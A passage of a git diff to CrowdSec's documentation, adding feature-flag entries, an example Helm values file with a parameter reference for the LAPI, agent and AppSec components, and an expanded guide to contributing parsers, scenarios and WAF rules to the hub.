+3. **Detect**: a [scenario](/log_processor/scenarios/introduction.mdx) correlates events over time (for example, many failed logins from the same IP) and triggers an **alert**. +4. **Store + decide**: the Log Processor sends the alert to the `LAPI`. The `LAPI` applies your [profiles](/local_api/profiles/intro.md) to create a **decision** (for example, `ban` for a given duration). +5. **Enforce**: a [Remediation Component (bouncer)](/u/bouncers/intro) pulls decisions from the `LAPI` and enforces them where it matters (firewall, reverse proxy, web server, ...). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/configuration/feature_flags.md b/crowdsec-docs/versioned_docs/version-v1.7/configuration/feature_flags.md index cc7980bd6..a8141265c 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/configuration/feature_flags.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/configuration/feature_flags.md @@ -12,26 +12,26 @@ New commands and behaviors can be improved by us, according to the user's feedba Some of the feature flags might not be documented because they are for features that are still under development and not ready for general use. -- `re2_grok_support`: Enable RE2 support for GROK patterns. [Brings a very significant performance improvement in parsing at the cost of extra memory](https://www.crowdsec.net/blog/increasing-performance-crowdsec-1-5). +- `re2_grok_support`: Enable RE2 support for GROK patterns. [Brings a very significant performance improvement in parsing at the cost of extra memory](https://www.crowdsec.net/blog/increasing-performance-crowdsec-1-5). This flag is not available on Linux, as RE2 is the default implementation here +- `re2_disable_grok_support`: Disable RE2 support for GROK patterns and use the builtin Go regexp package. Only available on Linux. - `re2_regexp_in_file_support`: Enable RE2 support for `RegexpInFile` expr helper. Similar to `re2_grok_support` but more niche as regexps used by `RegexpInFile` are usually less complex than grok patterns. - `chunked_decisions_stream`: Enable chunked decisions stream. Useful when you have a lot of remediation pulling from the same local API, as it reduces the memory consumption related to decision fetch. +- `disable_http_retry_backoff`: Disable HTTP retry exponential backoff for interactions with LAPI or CAPI ## Enabling a Feature Flag A feature flag can be enabled in two ways: - - By adding the feature name as a list item in the file `/etc/crowdsec/feature.yaml`. For example, to enable the `my_new_feature` feature flag, you would add the following line to the file: +- By adding the feature name as a list item in the file `/etc/crowdsec/feature.yaml`. For example, to enable the `my_new_feature` feature flag, you would add the following line to the file: ```yaml title="/etc/crowdsec/feature.yaml" - - my_new_feature +- my_new_feature ``` - - By setting the `CROWDSEC_FEATURE_` environment variable to true. For example, to enable the `my_new_feature` feature flag, you would set the environment variable `CROWDSEC_FEATURE_MY_NEW_FEATURE=true`. This is recommended when running CrowdSec in containers. If you really want to do this outside of containers (as we do for tests), keep in mind that the variable must be defined for both the `crowdsec` process and `cscli`. - +- By setting the `CROWDSEC_FEATURE_` environment variable to true. For example, to enable the `my_new_feature` feature flag, you would set the environment variable `CROWDSEC_FEATURE_MY_NEW_FEATURE=true`. This is recommended when running CrowdSec in containers. If you really want to do this outside of containers (as we do for tests), keep in mind that the variable must be defined for both the `crowdsec` process and `cscli`. You can see if CrowdSec is running with feature flags by calling `grep 'feature flags' /var/log/crowdsec.log | tail -1` - ## Retrieving Supported Feature Flags To retrieve a list of all the supported and enabled feature flags for a given version of CrowdSec, you can use the following command: @@ -48,7 +48,7 @@ $ cscli config feature-flags ✗ chunked_decisions_stream: Enable chunked decisions stream ✗ disable_http_retry_backoff: Disable http retry backoff -To enable a feature you can: +To enable a feature you can: - set the environment variable CROWDSEC_FEATURE_ to true - add the line '- ' to the file /etc/crowdsec/feature.yaml ``` @@ -64,8 +64,8 @@ and the error. ```console $ CROWDSEC_FEATURE_PAPI_CLIENT=true CROWDSEC_FEATURE_CSCLI_SETUP=true ./test/local/bin/cscli version -ERRO[02-03-2023 15:55:45] Ignored envvar 'CROWDSEC_FEATURE_PAPI_CLIENT': the flag is retired. -WARN[02-03-2023 15:55:45] Envvar 'CROWDSEC_FEATURE_CSCLI_SETUP': the flag is deprecated. +ERRO[02-03-2023 15:55:45] Ignored envvar 'CROWDSEC_FEATURE_PAPI_CLIENT': the flag is retired. +WARN[02-03-2023 15:55:45] Envvar 'CROWDSEC_FEATURE_CSCLI_SETUP': the flag is deprecated. 2023/03/02 15:55:45 version: v1.5.0-rc1-13-ge729bf5d-e729bf5d6103894da28818ab4626bab918fbd09d 2023/03/02 15:55:45 Codename: alphaga 2023/03/02 15:55:45 BuildDate: 2023-03-02_15:48:28 diff --git a/crowdsec-docs/versioned_docs/version-v1.7/configuration/network_management.md b/crowdsec-docs/versioned_docs/version-v1.7/configuration/network_management.md index 71cf06df4..4b0924ba9 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/configuration/network_management.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/configuration/network_management.md @@ -22,7 +22,7 @@ id: network_management - Installation script is hosted on `install.crowdsec.net` over HTTPS. - Repositories are hosted on `packagecloud.io` over HTTPS. -__(1) - The FQDN is cloudfront entry to crowdsec's github repositories so people avoid hitting github's quotas__ +__(1) - FQDN is cloudfront entry to crowdsec's github repository so people avoid hitting github's quotas__ # Communication between components diff --git a/crowdsec-docs/versioned_docs/version-v1.7/configuration/values_parameters.md b/crowdsec-docs/versioned_docs/version-v1.7/configuration/values_parameters.md new file mode 100644 index 000000000..d6fdbf204 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/configuration/values_parameters.md @@ -0,0 +1,403 @@ +--- +title: Helm's Parameters +id: values_parameters +--- + +# How to write a values parameter file + +The following configuration keeps the Helm chart close to its defaults while +explicitly defining how CrowdSec discovers logs, which parsers and collections +are enabled, and how state is persisted. + +The container runtime `container_runtime` is set to ensure log lines are decoded +in the correct format. The agent is scoped to only the namespaces and pods that +matter, which reduces noise and limits resource usage. Each `acquisition` entry +includes a program value that maps logs to the appropriate parser family, and +this must stay consistent with the collections loaded through environment +variables. + +Debug logging is enabled here for visibility, but it should normally be disabled +in production environments. + +AppSec is enabled with a local listener so in-cluster components can forward +HTTP security events. The corresponding AppSec rule collections are loaded to +provide virtual patching and generic protections. The configuration is described +after the `appsec` directive. + +On the LAPI side, we strongly encourages the use of database to provide +persistence of decisions and alerts. + +```yaml +# Log format emitted by the container runtime. +# Use "containerd" for CRI-formatted logs (most modern Kubernetes clusters), +# or "docker" if nodes still use the Docker runtime. +container_runtime: containerd + +agent: + # Log acquisition configuration: tells CrowdSec which pod logs to read + # and which parser family ("program") should process them. + acquisition: + # Postfix mail logs from the mail-system namespace + - namespace: mail-system # Kubernetes namespace to watch + podName: mail-system-postfix-* # Pod name glob pattern + program: postfix/smtpd # Parser hint so postfix logs match correctly + poll_without_inotify: true + + # NGINX ingress controller logs + - namespace: ingress-nginx + podName: ingress-nginx-controller-* # Typical ingress-nginx controller pods + program: nginx # Routes logs to nginx parsers + poll_without_inotify: true + + # It's recommended to avoid putting passwords directly in the values.yaml file +# for security reasons. Instead, consider using Kubernetes Secrets or environment +# variables to manage sensitive information securely. +env: + # Collections determine which parsers, scenarios, and postoverflows are installed. + # Must match the log sources defined above. + - name: COLLECTIONS + value: crowdsecurity/postfix crowdsecurity/nginx + + # Enables verbose logs from the CrowdSec agent. + # Useful for troubleshooting, but should be "false" in steady-state production. + #- name: DEBUG + # value: "true" +tolerations: + # Allows the agent pod to run on control-plane nodes. + # Only keep this if those nodes also run workloads you want to monitor. + - key: "node-role.kubernetes.io/control-plane" + operator: "Exists" + effect: "NoSchedule" +appsec: + # Enables CrowdSec AppSec (WAF component) + enabled: true + + acquisitions: + # Defines how AppSec receives HTTP security events + - appsec_config: crowdsecurity/appsec-default # Default AppSec engine configuration + labels: + type: appsec # Label used internally to identify AppSec events + listen_addr: 0.0.0.0:7422 # Address/port where AppSec listens for events + path: / # URL path to inspect + source: appsec # Marks events as coming from AppSec + + env: + # AppSec-specific rule sets (virtual patching + generic protections) + - name: COLLECTIONS + value: crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules +lapi: + env: + # Enrollment key used to register this CrowdSec instance with the console. + # Should be stored in a Kubernetes Secret in production. + - name: ENROLL_KEY + valueFrom: + secretKeyRef: + name: crowdsec-keys + key: ENROLL_KEY + + # Human-readable name for this instance in the console + - name: ENROLL_INSTANCE_NAME + value: "sabban" + + # Tags help group or filter instances in the console + - name: ENROLL_TAGS + value: "k8s" + + # API key used by a bouncer (here: ingress) to query decisions from LAPI + # Also should be stored as a Secret rather than plaintext. + - name: BOUNCER_KEY_ingress + valueFrom: + secretKeyRef: + name: crowdsec-keys + key: BOUNCER_KEY_ingress + + # It's recommended to avoid putting passwords directly in the values.yaml file + # for security reasons. Instead, consider using Kubernetes Secrets or environment + # variables to manage sensitive information securely. + - name: DB_PASSWORD + valueFrom: + secretKeyRef: + name: database-secret + key: DB_PASSWORD + + # persistentVolume in kubernetes for CrowdSec data and configuration is now + # discouraged in favor of a database and direct configuration through + # values + persistentVolume: + data: + enabled: false + config: + enabled: false + + # The following piece configuration under config.config.yaml.local is merged + # alongside the current conbfiguration. This mechanism allows + # environment-specific overrides. This approach helps maintain + # a clean and centralized configuration while enabling developers + # to customize their local settings without modifying the primary + # configuration files in pods with complex volumes and mount points. + +config: + config.yaml.local: | + api: + client: + # the log processor will remove delete itself from LAPI when stopping. + unregister_on_exit: true + server: + # This is needed for agent autoregistration + auto_registration: # Activate if not using TLS for authentication + enabled: true + token: "${REGISTRATION_TOKEN}" # /!\ Do not modify this variable (auto-generated and handled by the chart) + allowed_ranges: # /!\ Make sure to adapt to the pod IP ranges used by your cluster + - "127.0.0.1/32" + - "192.168.0.0/16" + - "10.0.0.0/8" + - "172.16.0.0/12" + # Using a database is strongly encouraged. + db_config: + type: postgresql + user: crowdsec + password: ${DB_PASSWORD} + db_name: crowdsec + host: + flush: + bouncers_autodelete: + api_key: 1h + agents_autodelete: + login_password: 1h +``` + +# Values parameters reference + +This page provides a complete, generated reference of all Helm chart +configuration values, their defaults, and their purpose. + +## Parameters + +### Global + +| Name | Description | Value | +| ------------------- | -------------------------------------------------- | -------- | +| `container_runtime` | [string] for raw logs format: docker or containerd | `docker` | + +### Image + +| Name | Description | Value | +| -------------------------- | ------------------------------------------------------------------------------------------------------------------ | ------------------------ | +| `image.repository` | [string] docker image repository name | `crowdsecurity/crowdsec` | +| `image.pullPolicy` | [string] Image pull policy (Always, IfNotPresent, Never) | `IfNotPresent` | +| `image.pullSecrets` | Image pull secrets (array of objects with a 'name' field) | `[]` | +| `image.tag` | docker image tag (empty defaults to chart AppVersion) | `""` | +| `image.kubectl.repository` | [string] kubectl image repository used by registration jobs initContainers | `alpine/kubectl` | +| `image.kubectl.tag` | [string] kubectl image tag (override to match your cluster version if you encounter issues with registration jobs) | `latest` | +| `image.kubectl.pullPolicy` | [string] kubectl image pull policy (Always, IfNotPresent, Never) | `IfNotPresent` | +| `podAnnotations` | podAnnotations to be added to pods (string:string map) | `{}` | +| `podLabels` | Labels to be added to pods (string:string map) | `{}` | + +### Configuration + +| Name | Description | Value | +| -------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | ------- | +| `config.parsers.s00-raw` | First step custom parsers definitions, usually used to label logs | `{}` | +| `config.parsers.s01-parse` | Second step custom parsers definitions, usually to normalize logs into events | `{}` | +| `config.parsers.s02-enrich` | Third step custom parsers definitions, usually to enrich events | `{}` | +| `config.scenarios` | Custom raw scenarios definition see https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro | `{}` | +| `config.postoverflows.s00-enrich` | First step custom postoverflows definitions, usually used to enrich overflow events | `{}` | +| `config.postoverflows.s01-whitelist` | Second step custom postoverflows definitions, usually used to whitelist events | `{}` | +| `config.simulation.yaml` | This file is usually handled by the agent. | `""` | +| `config.console.yaml` | This file is usually handled by the agent. | `""` | +| `config.capi_whitelists.yaml` | This file is deprecated in favor of centralized allowlists see https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists | `""` | +| `config.profiles.yaml` | Use for defining custom profiles | `""` | +| `config.config.yaml.local` | main configuration file local overriden values. This is merged with main configuration file. | `""` | +| `config.notifications` | notification on alert configuration | `{}` | +| `config.agent_config.yaml.local` | This configuration file is merged with agent pod main configuration file | `""` | +| `config.appsec_config.yaml.local` | This configuration file is merged with appsec pod main configuration file | `""` | +| `tls.enabled` | Is tls enabled ? | `false` | +| `tls.caBundle` | pem format CA collection | `true` | +| `tls.insecureSkipVerify` | | `false` | +| `tls.certManager` | Use of a cluster certManager configuration | `{}` | +| `tls.certManager.enabled` | Use of a cluster cert manager | `true` | +| `tls.certManager.secretTemplate` | secret configuration | `{}` | +| `tls.certManager.secretTemplate.annotations` | add annotation to generated secret | `{}` | +| `tls.certManager.secretTemplate.labels` | add annotation to generated labels | `{}` | +| `tls.certManager.duration` | validity duration of certificate (golang duration string) | `""` | +| `tls.certManager.renewBefore` | duration before a certificate’s expiry when cert-manager should start renewing it. | `""` | +| `tls.bouncer.secret` | Name of the Kubernetes Secret containing TLS materials for the bouncer | `""` | +| `tls.bouncer.reflector.namespaces` | List of namespaces from which the bouncer will watch and sync Secrets/ConfigMaps. | `[]` | +| `tls.agent.tlsClientAuth` | Enables mutual TLS authentication for the agent when connecting to LAPI. | `true` | +| `tls.agent.secret` | Name of the Secret holding the agent’s TLS certificate and key. | `""` | +| `tls.agent.reflector.namespaces` | Namespaces where the agent’s TLS Secret can be reflected/synced. | `[]` | +| `tls.appsec.tlsClientAuth` | Enables mutual TLS authentication for the agent when connecting to LAPI. | `true` | +| `tls.appsec.secret` | Name of the Secret holding the agent’s TLS certificate and key. | `""` | +| `tls.appsec.reflector.namespaces` | Namespaces where the agent’s TLS Secret can be reflected/synced. | `[]` | +| `tls.lapi.secret` | Name of the Secret holding the lapidary's’s TLS certificate and key. | `""` | +| `tls.lapi.reflector.namespaces` | Namespaces where the LAPI TLS Secret can be reflected/synced. | `[]` | + +### secrets + +| Name | Description | Value | +| --------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ----- | +| `secrets.username` | Agent username (default is generated randomly) | `""` | +| `secrets.password` | Agent password (default is generated randomly) | `""` | +| `secrets.externalSecret.name` | Name of the external secret to use (overrides lapi.secrets.csLapiSecret and lapi.secrets.registrationToken) | `""` | +| `secrets.externalSecret.csLapiSecretKey` | The key in the external secret that holds the csLapiSecret | `""` | +| `secrets.externalSecret.registrationTokenKey` | The key in the external secret that holds the registrationToken | `""` | + +### lapi + +| Name | Description | Value | +| ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | ------------------- | +| `lapi.enabled` | Enable LAPI deployment (enabled by default) | `true` | +| `lapi.replicas` | Number of replicas for the Local API | `1` | +| `lapi.env` | Extra environment variables passed to the crowdsecurity/crowdsec container | `[]` | +| `lapi.envFrom` | Environment variables loaded from Kubernetes Secrets or ConfigMaps | `[]` | +| `lapi.ingress.enabled` | Enable ingress for the LAPI service | `false` | +| `lapi.ingress.annotations` | Annotations to apply to the LAPI ingress object | `{}` | +| `lapi.ingress.ingressClassName` | IngressClass name for the LAPI ingress | `""` | +| `lapi.ingress.host` | Hostname for the LAPI ingress | `""` | +| `lapi.priorityClassName` | Pod priority class name | `""` | +| `lapi.deployAnnotations` | Annotations applied to the LAPI Deployment | `{}` | +| `lapi.podAnnotations` | Annotations applied to LAPI pods | `{}` | +| `lapi.podLabels` | Labels applied to LAPI pods | `{}` | +| `lapi.extraInitContainers` | Additional init containers for LAPI pods | `[]` | +| `lapi.extraVolumes` | Additional volumes for LAPI pods | `[]` | +| `lapi.extraVolumeMounts` | Additional volumeMounts for LAPI pods | `[]` | +| `lapi.podSecurityContext` | Security context for LAPI pods | `{}` | +| `lapi.securityContext` | Security context for the LAPI contaienr | `{}` | +| `lapi.resources` | Resource requests and limits for the LAPI pods | `{}` | +| `lapi.persistentVolume.data.enabled` | Enable persistent volume for the data folder (stores bouncer API keys) | `true` | +| `lapi.persistentVolume.data.accessModes` | Access modes for the data PVC | `["ReadWriteOnce"]` | +| `lapi.persistentVolume.data.storageClassName` | StorageClass name for the data PVC | `""` | +| `lapi.persistentVolume.data.existingClaim` | Existing PersistentVolumeClaim to use for the data PVC | `""` | +| `lapi.persistentVolume.data.subPath` | subPath to use within the volume | `""` | +| `lapi.persistentVolume.data.size` | Requested size for the data PVC | `""` | +| `lapi.persistentVolume.config.enabled` | Enable persistent volume for the config folder (stores API credentials) | `true` | +| `lapi.persistentVolume.config.accessModes` | Access modes for the config PVC | `["ReadWriteOnce"]` | +| `lapi.persistentVolume.config.storageClassName` | StorageClass name for the config PVC | `""` | +| `lapi.persistentVolume.config.existingClaim` | Existing PersistentVolumeClaim to use for the config PVC | `""` | +| `lapi.persistentVolume.config.subPath` | subPath to use within the volume | `""` | +| `lapi.persistentVolume.config.size` | Requested size for the config PVC | `""` | +| `lapi.service` | Configuration of kubernetes lapi service | `{}` | +| `lapi.service.type` | Kubernetes service type for LAPI | `""` | +| `lapi.service.labels` | Extra labels to add to the LAPI service | `{}` | +| `lapi.service.annotations` | Extra annotations to add to the LAPI service | `{}` | +| `lapi.service.externalIPs` | List of external IPs for the LAPI service | `[]` | +| `lapi.service.loadBalancerIP` | Specific loadBalancer IP for the LAPI service | `nil` | +| `lapi.service.loadBalancerClass` | LoadBalancer class for the LAPI service | `nil` | +| `lapi.service.externalTrafficPolicy` | External traffic policy for the LAPI service | `""` | +| `lapi.nodeSelector` | Node selector for scheduling LAPI pods | `{}` | +| `lapi.tolerations` | Tolerations for scheduling LAPI pods | `[]` | +| `lapi.dnsConfig` | DNS configuration for LAPI pods | `{}` | +| `lapi.affinity` | Affinity rules for LAPI pods | `{}` | +| `lapi.topologySpreadConstraints` | Topology spread constraints for LAPI pods | `[]` | +| `lapi.metrics.enabled` | Enable service monitoring for Prometheus (exposes port 6060) | `true` | +| `lapi.metrics.serviceMonitor.enabled` | [object] Create a ServiceMonitor resource for Prometheus | `true` | +| `lapi.metrics.serviceMonitor.additionalLabels` | Extra labels for the ServiceMonitor | `{}` | +| `lapi.metrics.podMonitor.enabled` | Enables prometheus operator podMonitor | `false` | +| `lapi.metrics.podMonitor.additionalLabels` | additional labels for podMonitor | `{}` | +| `lapi.strategy.type` | Deployment strategy for the LAPI deployment | `""` | +| `lapi.secrets.csLapiSecret` | Shared LAPI secret (randomly generated if not specified, must be >64 chars) | `""` | +| `lapi.secrets.registrationToken` | Registration token for AppSec (randomly generated if not specified, must be >48 chars) | `""` | +| `lapi.extraSecrets` | Additional secrets to inject (e.g., external DB password) | `{}` | +| `lapi.lifecycle` | Lifecycle hooks for LAPI pods (postStart, preStop, etc.) | `{}` | +| `lapi.storeCAPICredentialsInSecret` | [object] Store Central API credentials in a Secret (required if LAPI replicas > 1) | `false` | +| `lapi.storeLAPICscliCredentialsInSecret` | [object] Store LAPI cscli credentials in a Secret. Useful if LAPI replicas > 1 or to setup LAPI with a persistent volume. | `false` | + +### agent + +| Name | Description | Value | +| ------------------------------------------------ | ------------------------------------------------------------------------------------------ | ------- | +| `agent.enabled` | [object] Enable CrowdSec agent (enabled by default) | `true` | +| `agent.isDeployment` | [object] Deploy agent as a Deployment instead of a DaemonSet | `false` | +| `agent.serviceAccountName` | Service account name for the agent pods | `""` | +| `agent.lapiURL` | URL of the LAPI for the agent to connect to (defaults to internal service URL) | `""` | +| `agent.lapiHost` | Host of the LAPI for the agent to connect to | `""` | +| `agent.lapiPort` | Port of the LAPI for the agent to connect to | `8080` | +| `agent.replicas` | Number of replicas when deploying as a Deployment | `1` | +| `agent.strategy` | Deployment strategy when `isDeployment` is true | `{}` | +| `agent.ports` | Custom container ports to expose (default: metrics port 6060 if enabled) | `[]` | +| `agent.additionalAcquisition` | Extra log acquisition sources (see https://docs.crowdsec.net/docs/next/data_sources/intro) | `[]` | +| `agent.acquisition` | Pod log acquisition definitions (namespace, podName, program, etc.) | `[]` | +| `agent.priorityClassName` | Priority class name for agent pods | `""` | +| `agent.daemonsetAnnotations` | Annotations applied to the agent DaemonSet | `{}` | +| `agent.deploymentAnnotations` | Annotations applied to the agent Deployment | `{}` | +| `agent.podAnnotations` | Annotations applied to agent pods | `{}` | +| `agent.podLabels` | Labels applied to agent pods | `{}` | +| `agent.extraInitContainers` | Extra init containers for agent pods | `[]` | +| `agent.extraVolumes` | Extra volumes for agent pods | `[]` | +| `agent.extraVolumeMounts` | Extra volume mounts for agent pods | `[]` | +| `agent.podSecurityContext` | Security context for agent pods | `{}` | +| `agent.securityContext` | Security context for agent containers | `{}` | +| `agent.resources` | Resource requests and limits for agent pods | `{}` | +| `agent.persistentVolume.config.enabled` | [object] Enable persistent volume for agent config | `false` | +| `agent.persistentVolume.config.accessModes` | Access modes for the config PVC | `[]` | +| `agent.persistentVolume.config.storageClassName` | StorageClass name for the config PVC | `""` | +| `agent.persistentVolume.config.existingClaim` | Existing PVC name to use for config | `""` | +| `agent.persistentVolume.config.subPath` | subPath to use within the volume | `""` | +| `agent.persistentVolume.config.size` | Requested size for the config PVC | `""` | +| `agent.hostVarLog` | [object] Mount hostPath `/var/log` into the agent pod | `true` | +| `agent.env` | Environment variables passed to the crowdsecurity/crowdsec container | `[]` | +| `agent.nodeSelector` | Node selector for agent pods | `{}` | +| `agent.tolerations` | Tolerations for scheduling agent pods | `[]` | +| `agent.affinity` | Affinity rules for agent pods | `{}` | +| `agent.livenessProbe` | Liveness probe configuration for agent pods | `{}` | +| `agent.readinessProbe` | Readiness probe configuration for agent pods | `{}` | +| `agent.startupProbe` | Startup probe configuration for agent pods | `{}` | +| `agent.metrics.enabled` | Enable service monitoring for Prometheus (exposes port 6060) | `true` | +| `agent.metrics.serviceMonitor.enabled` | Create a ServiceMonitor resource for Prometheus | `false` | +| `agent.metrics.serviceMonitor.additionalLabels` | Extra labels for the ServiceMonitor | `{}` | +| `agent.metrics.podMonitor.enabled` | Create a PodMonitor resource for Prometheus | `false` | +| `agent.metrics.podMonitor.additionalLabels` | Extra labels for the PodMonitor | `{}` | +| `agent.service.type` | Kubernetes Service type for agent | `""` | +| `agent.service.labels` | Labels applied to the agent Service | `{}` | +| `agent.service.annotations` | Annotations applied to the agent Service | `{}` | +| `agent.service.externalIPs` | External IPs assigned to the agent Service | `[]` | +| `agent.service.loadBalancerIP` | Fixed LoadBalancer IP for the agent Service | `nil` | +| `agent.service.loadBalancerClass` | LoadBalancer class for the agent Service | `nil` | +| `agent.service.externalTrafficPolicy` | External traffic policy for the agent Service | `""` | +| `agent.service.ports` | Custom service ports (default: metrics port 6060 if enabled) | `[]` | +| `agent.wait_for_lapi.image.repository` | Repository for the wait-for-lapi init container image | `""` | +| `agent.wait_for_lapi.image.pullPolicy` | Image pull policy for the wait-for-lapi init container | `""` | +| `agent.wait_for_lapi.image.tag` | Image tag for the wait-for-lapi init container | `""` | +| `agent.wait_for_lapi.securityContext` | Security context for the wait-for-lapi init container | `{}` | +| `appsec.enabled` | [object] Enable AppSec component (disabled by default) | `false` | +| `appsec.lapiURL` | URL the AppSec component uses to reach LAPI (defaults to internal service URL) | `""` | +| `appsec.lapiHost` | Hostname the AppSec component uses to reach LAPI | `""` | +| `appsec.lapiPort` | Port the AppSec component uses to reach LAPI | `8080` | +| `appsec.replicas` | Number of replicas for the AppSec Deployment | `1` | +| `appsec.strategy` | Deployment strategy for AppSec | `{}` | +| `appsec.acquisitions` | AppSec acquisitions (datasource listeners), e.g. appsec listener on 7422 | `[]` | +| `appsec.configs` | AppSec configs (key = filename, value = file content) | `{}` | +| `appsec.rules` | AppSec rule files (key = filename, value = file content) | `{}` | +| `appsec.priorityClassName` | Priority class name for AppSec pods | `""` | +| `appsec.deployAnnotations` | Annotations added to the AppSec Deployment | `{}` | +| `appsec.podAnnotations` | Annotations added to AppSec pods | `{}` | +| `appsec.podLabels` | Labels added to AppSec pods | `{}` | +| `appsec.extraInitContainers` | Extra init containers for AppSec pods | `[]` | +| `appsec.extraVolumes` | Extra volumes for AppSec pods | `[]` | +| `appsec.extraVolumeMounts` | Extra volume mounts for AppSec pods | `[]` | +| `appsec.podSecurityContext` | Security context for AppSec pods | `{}` | +| `appsec.securityContext` | Security context for the appsec container | `{}` | +| `appsec.resources` | Resource requests and limits for AppSec pods | `{}` | +| `appsec.env` | Environment variables for the AppSec container (collections/configs/rules toggles, etc.) | `[]` | +| `appsec.nodeSelector` | Node selector for scheduling AppSec pods | `{}` | +| `appsec.tolerations` | Tolerations for scheduling AppSec pods | `[]` | +| `appsec.affinity` | Affinity rules for scheduling AppSec pods | `{}` | +| `appsec.livenessProbe` | Liveness probe configuration for AppSec pods | `{}` | +| `appsec.readinessProbe` | Readiness probe configuration for AppSec pods | `{}` | +| `appsec.startupProbe` | Startup probe configuration for AppSec pods | `{}` | +| `appsec.metrics.enabled` | Enable service monitoring (exposes metrics on 6060; AppSec listener typically 7422) | `true` | +| `appsec.metrics.serviceMonitor.enabled` | Create a ServiceMonitor for Prometheus scraping | `false` | +| `appsec.metrics.serviceMonitor.additionalLabels` | Extra labels for the ServiceMonitor | `{}` | +| `appsec.metrics.podMonitor.enabled` | Create a PodMonitor for Prometheus scraping | `false` | +| `appsec.metrics.podMonitor.additionalLabels` | Extra labels for the PodMonitor | `{}` | +| `appsec.service.type` | Kubernetes Service type for AppSec | `""` | +| `appsec.service.labels` | Additional labels for the AppSec Service | `{}` | +| `appsec.service.annotations` | Annotations to apply to the LAPI ingress object | `{}` | +| `appsec.service.externalIPs` | External IPs for the AppSec Service | `[]` | +| `appsec.service.loadBalancerIP` | Fixed LoadBalancer IP for the AppSec Service | `nil` | +| `appsec.service.loadBalancerClass` | LoadBalancer class for the AppSec Service | `nil` | +| `appsec.service.externalTrafficPolicy` | External traffic policy for the AppSec Service | `""` | +| `appsec.wait_for_lapi.image.repository` | Repository for the wait-for-lapi init con | `""` | +| `appsec.wait_for_lapi.image.pullPolicy` | Image pull policy for the wait-for-lapi init container | `""` | +| `appsec.wait_for_lapi.image.tag` | Image tag for the wait-for-lapi init container | `1.28` | +| `appsec.wait_for_lapi.securityContext` | Security context for the wait-for-lapi init container | `{}` | diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/hub.md b/crowdsec-docs/versioned_docs/version-v1.7/contributing/hub.md index d54eafea0..e99fa75b2 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/contributing/hub.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/hub.md @@ -4,92 +4,243 @@ title: Hub sidebar_position: 3 --- -Parsers, Scenarios, Collections allow the `Security Engine` to detect and block malevolent behavior. +# Contributing to the Hub -Supporting new services or improving the detection capabilities on existing software is a great way to contribute. +Parsers, Scenarios, Collections, and WAF rules allow the CrowdSec `Security Engine` to detect and block malevolent behavior. Supporting new services or improving detection capabilities is a great way to contribute to the CrowdSec ecosystem. -Sharing your parsers, scenarios and collections on the hub allows other users to use them to protect themselves. +Sharing your parsers, scenarios, waf rules and collections on the hub allows other users to use them to protect themselves. -# Contributing +## Communication -Anyone can open an issue about parsers/scenarios, or contribute a change with a pull request (PR) to the crowdsecuity/hub GitHub repository. You need to be comfortable with git and GitHub to work effectively. +The main communication channels for hub contributions are: -To get involved : +- [Discord](https://discord.gg/crowdsec): Best for live interactions and quick questions about hub development +- [GitHub Issues](https://github.com/crowdsecurity/hub/issues): Use for bug reports and feature requests. also great for discussing ideas, suggesting improvements, or asking detailed questions -- Have a look at open [issues](https://github.com/crowdsecurity/hub/issues) and [pull requests](https://github.com/crowdsecurity/hub/pulls) -- Clone the hub repository -- Create/Modify parsers/scenarios/collections -- Create/Modify tests to ensure proper coverage -- Open a pull request +## Getting Started + +Anyone can open an issue about parsers, scenarios, collections, or WAF rules, or contribute a change with a pull request (PR) to the [crowdsecurity/hub](https://github.com/crowdsecurity/hub) GitHub repository. You need to be comfortable with git and GitHub to work effectively. + +### Find something to work on + +Here are some things you can do today to start contributing: + +- Help improve existing parsers, scenarios, collections, and WAF rules +- Add support for new services and applications +- Detect and block Web Application attacks via WAF rules +- Help triage issues and review pull requests +- Improve documentation and examples + +### Find a good first topic + +The hub repository has beginner-friendly issues that are a great place to get started: + +- Look for issues labeled `good first issue` - these don't require high-level CrowdSec knowledge +- Issues labeled `help wanted` indicate that community help is particularly welcome + +### Prerequisites + +Before contributing, make sure you have: + +- Basic understanding of YAML syntax +- Familiarity with grok patterns (for parsers) and HTTP request basics (for WAF rules) +- Git and GitHub knowledge +- A local CrowdSec installation for testing + +### Contribution Workflow + +The basic workflow for contributing: + +1. Have a look at open [issues](https://github.com/crowdsecurity/hub/issues) and [pull requests](https://github.com/crowdsecurity/hub/pulls) +2. Fork and clone the hub repository +3. Create/Modify parsers/scenarios/collections/AppSec rules +4. Create/Modify tests to ensure proper coverage +5. Open a pull request + +## Parsers and scenarios + +Use the dedicated creation guides for full walkthroughs and keep these must-haves in mind: + +- Parsers: follow [parsers creation](/log_processor/parsers/create.md); add cscli hubtest coverage and a short `.md` describing purpose/setup. +- Scenarios: follow [scenarios creation](/log_processor/scenarios/create.md); fill the required `labels`, cover the scenario with cscli hubtest, and add a `.md` doc. + +## AppSec rules + +Follow [AppSec rule creation](/appsec/create_rules.md) for the detailed flow. Essentials: + +- Tests: create a cscli hubtest with `--appsec` and provide the nuclei template plus assertions as described in the guide. +- Rule metadata: complete the required labels/fields so CI passes. + +## Collections + +Use [collections format](/log_processor/collections/format.md); bundle tested parsers, scenarios, and WAF rules. Add a markdown page that states the collection goal plus the acquisition example to ingest the logs. + +## Testing + +Before submitting, ensure proper testing with `cscli hubtest`. Follow the dedicated creation guides for step-by-step instructions instead of duplicating them here: +- Parser tests: [parsers creation](/log_processor/parsers/create.md#create-our-test) +- Scenario tests: [scenarios creation](/log_processor/scenarios/create.md#create-our-test) +- AppSec tests (with nuclei templates): [AppSec rule creation](/appsec/create_rules.md#create-our-test) +- CLI reference and options: [cscli hubtest](/cscli/cscli_hubtest.md) + +### CI/CD Testing + +The hub repository uses GitHub Actions for automated testing of parsers, scenarios, and AppSec rules when you open a PR. Make sure local tests pass before requesting review. + +## Git Workflow / Branch Management + +We 